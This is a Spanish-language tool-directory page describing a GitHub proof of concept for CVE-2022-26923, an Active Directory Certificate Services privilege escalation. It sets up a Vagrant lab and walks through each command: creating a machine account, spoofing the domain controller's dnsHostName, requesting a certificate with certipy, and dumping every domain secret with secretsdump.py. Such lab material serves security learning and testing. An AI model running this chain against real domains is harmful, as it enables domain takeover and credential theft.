Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-26923 — Una prueba de concepto que explota CVE-2022-26923. | Kitploit
Herramientas/GitHubGitHub/gh-badr/cve-2022-26923
Escalada de PrivilegiosExplotaciónPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubgh-badr/cve-2022-26923

CVE-2022-26923

Una prueba de concepto que explota CVE-2022-26923.

Ver Repositorio
221hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-26923

Descripción

Esta vulnerabilidad permitía a un usuario con pocos privilegios escalar privilegios a administrador de dominio en un entorno predeterminado de Active Directory con el rol de servidor de Servicios de Certificados de Active Directory (AD CS) instalado.

Está relacionada principalmente con el rol de Servicios de Certificados de Active Directory (AD CS). El rol de AD CS es un rol de Windows Server que permite construir una infraestructura de clave pública (PKI) y proporcionar capacidades de criptografía de clave pública, certificados digitales y firmas digitales para su organización. El rol de AD CS se utiliza para emitir certificados para usuarios, equipos y servicios.

Índice de contenidos

  • CVE-2022-26923
    • Descripción
    • Índice de contenidos
    • Requisitos previos
    • Entorno
    • Explotación
    • Prueba de concepto
    • Referencias

Requisitos previos

  • Vagrant
  • VirtualBox

Entorno

La versión de Windows Server utilizada es Windows Server 2019 Standard Evaluation, que es la versión vulnerable. El Vagrantfile proporcionado (en la carpeta Vulnerable Machine) creará una máquina virtual de Windows Server 2019 con el rol AD CS instalado y configurado, junto con un usuario con pocos privilegios con las siguientes credenciales:

  • Username: user
  • Password: V@grant1

Para crear el entorno, sigue estos pasos:

  • Primero clona el repositorio y ve al directorio CVE-2022-26923:
    git clone https://github.com/Gh-Badr/CVE-2022-26923
    cd CVE-2022-26923
    
  • Si necesitas cambiar la dirección IP predeterminada, puedes hacerlo en el Vagrantfile reemplazando la dirección IP en la siguiente línea:
    config.vm.network "private_network", type: "static", ip: "192.168.33.13"
    
  • Luego ejecuta el siguiente comando para crear la VM:
    cd 'Vulnerable Machine'
    vagrant up
    
  • Si no tienes una máquina linux con certipy instalado, puedes usar la máquina vagrant proporcionada en el directorio Attacker Machine ejecutando el siguiente comando:
    cd 'Attacker Machine'
    vagrant up
    

La carpeta Attacker Machine contiene una máquina vagrant junto con un script de shell que instalará la última versión de certipy. También puedes usar el script para instalar certipy en tu máquina linux.

Explotación

Para conectarte a la máquina atacante, ejecuta el siguiente comando desde el directorio Attacker Machine:

vagrant ssh

Ahora que estás en la máquina atacante, necesitas agregar la dirección IP del Windows Server al archivo hosts:

echo "192.168.33.13   VAGRANT-K51B6U3.vagrant.local VAGRANT-K51B6U3 vagrant-VAGRANT-K51B6U3-CA vagrant.local" | sudo tee -a /etc/hosts

Nota: Si cambiaste la dirección IP en el Vagrantfile de la máquina vulnerable, también debes cambiarla aquí.

Luego, creemos una nueva cuenta de equipo en el dominio:

addcomputer.py 'vagrant.local/user:V@grant1' -method LDAPS -computer-name 'CVEPC' -computer-pass 'P@ssw0rd'

Para verificar que la cuenta de equipo se ha creado, conéctate a la máquina vulnerable con el usuario user y la contraseña V@grant1 ejecutando el siguiente comando desde el directorio Vulnerable Machine:

vagrant ssh

Luego, ejecuta el siguiente comando para verificar que la cuenta de equipo se ha creado:

Get-ADComputer CVEPC -Properties dnsHostName,servicePrincipalName

Esta cuenta de equipo tiene el dnsHostName CVEPC.vagrant.local. Lo que queremos es cambiar este dnsHostName a VAGRANT-K51B6U3.vagrant.local, que es el controlador de dominio.

Para ello, primero debemos eliminar el nombre de principal de servicio (SPN) de la cuenta de equipo CVEPC ejecutando el siguiente comando:

Set-ADComputer CVEPC -Properties ServicePrincipalName @{}

Luego podemos cambiar el dnsHostName a VAGRANT-K51B6U3.vagrant.local ejecutando el siguiente comando:

Set-ADComputer CVEPC -Properties dnsHostName VAGRANT-K51B6U3.vagrant.local
  • Nota: Para entender por qué tuvimos que eliminar el SPN de la cuenta de equipo, puedes consultar el proyecto Report (En francés). O puedes consultar el primer artículo en la sección de referencias, que contiene una explicación detallada por el autor de la CVE.

Ahora que tenemos una cuenta de equipo con el dnsHostName VAGRANT-K51B6U3.vagrant.local, podemos solicitar un certificado malicioso desde la máquina vulnerable ejecutando el siguiente comando en la máquina atacante:

certipy req -username '[email protected]' -password 'P@sww0rd' -ca vagrant-VAGRANT-K51B6U3-CA -template Machine -target VAGRANT-K51B6U3.vagrant.local

Deberías obtener un certificado llamado vagrant-k51b6u3.pfx en el directorio actual. Para comprobar que el certificado es válido, puedes usar la herramienta auth de certipy ejecutando el siguiente comando:

certipy auth -pfx vagrant-k51b6u3.pfx

Si el certificado es válido, deberías obtener el hash NTLM del controlador de dominio, el cual puede ser utilizado de muchas formas maliciosas.

Prueba de concepto

Como prueba de concepto, podemos usar el hash NTLM para recuperar todos los secretos almacenados en el dominio (como se explica en el artículo del autor de la CVE). Para ello, podemos usar la herramienta secretsdump.py del paquete impacket (que está instalado con la última versión de certipy).

Para usar la herramienta, ejecuta el siguiente comando:

secretsdump.py 'vagrant.local/[email protected]' -hashes :<NTLM hash>

Reemplaza <NTLM hash> con el hash NTLM que obtuviste del paso anterior.

Como resultado, deberías obtener todos los secretos almacenados en el dominio.

Referencias

  • Certifried: Escalada de privilegios de dominio de Active Directory (CVE-2022-26923)
  • GitHub - LudovicPatho/CVE-2022-26923_AD-Certificate-Services
  • Try Hack Me - CVE-2022-26923
Descargar herramienta